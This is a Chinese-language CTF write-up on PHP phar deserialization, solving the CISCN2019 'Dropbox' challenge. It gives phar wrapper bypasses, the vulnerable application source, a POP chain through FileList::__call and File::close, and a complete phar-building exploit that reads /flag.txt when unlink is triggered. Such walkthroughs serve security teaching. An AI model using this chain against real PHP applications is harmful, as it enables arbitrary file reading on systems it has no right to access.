利用phar拓展反序列化攻击面例题

ctf phar反序列化

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 2020/12/12   Share

前置知识

利用 phar 拓展 php 反序列化漏洞攻击面

phar绕过

compress.bzip2://phar://test.phar/test.txt
compress.zlib://phar://test.phar/test.txt
php://filter/resource=phar://test.phar/test.txt

phar协议可以直接读取gzip和bzip2压缩的phar文件

These archives can fully compressed in gzip or bzip2 format and still be executed by the Phar extension.

创建压缩包

<?php
$zip = new ZipArchive();
$a = $zip->open("1.zip",ZipArchive::CREATE);
$zip->addFromString("exp.phar",file_get_content('exp.phar'));
$zip->close();

var_dump(file_get_contents("phar://1.zip/exp.phar"));

[CISCN2019 华北赛区 Day1 Web1]Dropbox

先注册登录一个账号

看到面板可以上传文件，随便上传一个图片试试

上传成功，具有下载和删除功能，同时发现下载功能可以下载任意文件
跨个目录就可以了

把这么些文档都下载下来

先看看class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

看到class.php里的File类有这么一段

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public function close() {
        return file_get_contents($this->filename);
    }

如果能调用close()函数并且控制filename那么就能读取任意文件
注意到User的db变量在反序列化时可以调用close()函数，但是User()本身是没有close()函数的
此时就需要注意到FileList类中的__call魔术方法

public function __call($func, $args) {
    array_push($this->funcs, $func);
    foreach ($this->files as $file) {
        $this->results[$file->name()][$func] = $file->$func();
    }
}

$func作为被调用的函数名，可以是close，这个函数的作用是调用func函数并且存到this->result里面
这样的话我们的POP链就构造好了
File对象的filename是”/flag”或”/flag.txt”或其他的
FileList里的Files是含File对象的数组，因为__call调用的时候是遍历调用func，然后User的db再指向FileList对象

<?php

class User {
    public $db;
}


class FileList {
    private $files;
    public function __construct(){
        $this->files = array(new File());
    }

}

class File {
    public $filename="/flag.txt";

}
$a = new FileList();
$b = new User();
$b -> db = $a;

POP链构造好了，但是得想个办法让它显示出来，由于File的close返回结果不显示，所以得找一个地方让它打印出来
看到delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

这里的detele()对应File对象的detele()

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public function detele() {
    unlink($this->filename);
}

在前置知识里面存在unlink这个函数，会触发phar反序列化漏洞，启动我们的POP链
完整payload:

<?php

class User {
    public $db;
}


class FileList {
    private $files;
    public function __construct(){
        $this->files = array(new File());
    }

}

class File {
    public $filename="/flag.txt";

}
$a = new FileList();
$b = new User();
$b -> db = $a;

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($b); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>